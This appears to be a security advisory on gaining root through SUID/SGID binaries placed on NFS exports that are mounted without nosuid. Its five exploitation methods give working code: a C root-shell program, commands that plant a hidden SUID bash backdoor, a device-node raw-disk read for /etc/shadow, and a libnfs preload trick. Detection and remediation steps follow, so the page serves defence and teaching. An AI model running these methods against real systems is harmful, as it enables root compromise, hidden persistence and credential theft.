Skip to content

F-4.2: SUID/SGID Privilege Escalation via NFS Mounts

Classification

  • Severity: High
  • CVSS Vector: Local + Network / Low Complexity
  • Affected Versions: All NFS versions
  • Configuration: Client mounts without nosuid option
  • Prerequisite: Write access to NFS export + code execution on a client that mounts it

Summary

When an NFS export is mounted without the nosuid option on a client, any SUID/SGID binaries placed on the share are executed with elevated privileges. An attacker who can write to the NFS export (from any machine — including their own) can place a SUID root binary that grants root access when executed on a vulnerable client. This is a client-side privilege escalation that exploits the trust relationship between NFS clients and the shared filesystem.

Technical detail

The trust model failure

NFS clients that mount exports without nosuid implicitly trust that all binaries on the share are safe to execute with elevated privileges. This trust is misplaced when:

  1. The export allows write access from other hosts
  2. no_root_squash allows setting UID 0 ownership
  3. The attacker has any write access (even as a non-root user with no_all_squash)

Attack scenarios

Scenario A: Attacker has root on their own machine + no_root_squash

Attacker (root) ──write SUID binary──> NFS Export <──mount w/o nosuid── Victim Client
                                       (no_root_squash)                  (any user executes)

Scenario B: Attacker has non-root write + no_all_squash

Even without root, if no_all_squash is set (which is the default!), an attacker with UID matching a non-root user can create SGID binaries or exploit SUID binaries owned by that user.

Scenario C: Export on server is also mounted locally

If the server itself mounts its own export (common with /srv directories), SUID binaries on the export can escalate privileges on the server too.

SUID bit mechanics

-rwsr-xr-x 1 root root 16064 Jan 6 22:09 exploit
 ^^^
 SUID bit: when executed, process runs as file owner (root), not as the calling user

The kernel checks: 1. Is the file on a filesystem mounted with suid allowed? (default: yes) 2. Does the file have the SUID bit set? 3. If yes: setuid(file_owner) before executing

Creating the SUID binary

Minimal root shell:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(void) {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
    return 0;
}

The -p flag prevents bash from dropping privileges.

Exploitation

Method 1: Classic SUID Shell (requires no_root_squash)

# On attacker machine (as root):
gcc -o rootshell exploit.c
mount -t nfs target:/export /mnt
cp rootshell /mnt/
chown root:root /mnt/rootshell
chmod 4755 /mnt/rootshell

# On victim client (as any user):
/export/rootshell
# uid=0(root) gid=0(root)

Method 2: Copy /bin/bash Directly

# On attacker (as root, with no_root_squash export):
cp /bin/bash /mnt/nfs/.bash_backdoor
chown root:root /mnt/nfs/.bash_backdoor
chmod 4755 /mnt/nfs/.bash_backdoor

# On victim:
/path/to/mount/.bash_backdoor -p

Method 3: SGID Exploitation (no root needed)

If you can write as any user (default no_all_squash):

# Write a SGID binary as a non-root user
# This gives group-level escalation
gcc -o groupshell exploit.c
cp groupshell /mnt/nfs/
chgrp targetgroup /mnt/nfs/groupshell
chmod 2755 /mnt/nfs/groupshell

Method 4: Device node attack (requires no_root_squash + nodev not set)

# Create a device node for raw disk access
mknod /mnt/nfs/.hidden_disk b 8 0  # /dev/sda
chmod 666 /mnt/nfs/.hidden_disk

# On victim:
dd if=/export/.hidden_disk bs=512 count=1  # Read raw disk
# Can extract /etc/shadow from raw filesystem

Method 5: Using libnfs without mounting

# No mount needed — libnfs with UID override
LD_NFS_UID=0 LD_NFS_GID=0 LD_PRELOAD=./ld_nfs.so \
    cp ./rootshell nfs://target/export/rootshell
LD_NFS_UID=0 LD_PRELOAD=./ld_nfs.so \
    chmod u+s nfs://target/export/rootshell

Impact

  • Full root compromise of any client mounting the export without nosuid
  • Persistence: SUID binaries survive reboots and are hard to detect among legitimate files
  • Multi-host compromise: All clients mounting the same export are vulnerable
  • Server compromise: If the server also uses the export directory locally

Detection

Find SUID binaries on NFS mounts

# Check all NFS mounts for SUID binaries
mount | grep nfs | awk '{print $3}' | while read mp; do
    find "$mp" -perm -4000 -type f 2>/dev/null
done

# Check for SGID binaries
mount | grep nfs | awk '{print $3}' | while read mp; do
    find "$mp" -perm -2000 -type f 2>/dev/null
done

# Check for device nodes
mount | grep nfs | awk '{print $3}' | while read mp; do
    find "$mp" -type b -o -type c 2>/dev/null
done

Verify mount options

# Check if nosuid is set
mount | grep nfs
# Should show: nosuid,nodev,noexec for security

# In /etc/fstab:
grep nfs /etc/fstab | grep -v nosuid
# Any matches = vulnerable

Remediation

  1. Always mount NFS with nosuid,nodev,noexec:

    target:/export  /mnt  nfs  nosuid,nodev,noexec,nolock  0 0
    

  2. Server-side: mount exported filesystems with nosuid,nodev:

    /dev/sda2  /srv/nfs  ext4  nosuid,nodev  0 2
    

  3. Never use no_root_squash (see F-4.1)

  4. Use all_squash where possible — prevents ownership manipulation

  5. File integrity monitoring: Alert on new SUID/SGID files appearing on NFS mounts

  6. Regular scans: Cron job to find SUID files on NFS:

    find /mnt/nfs -perm /6000 -type f | mail -s "SUID alert" admin@company.com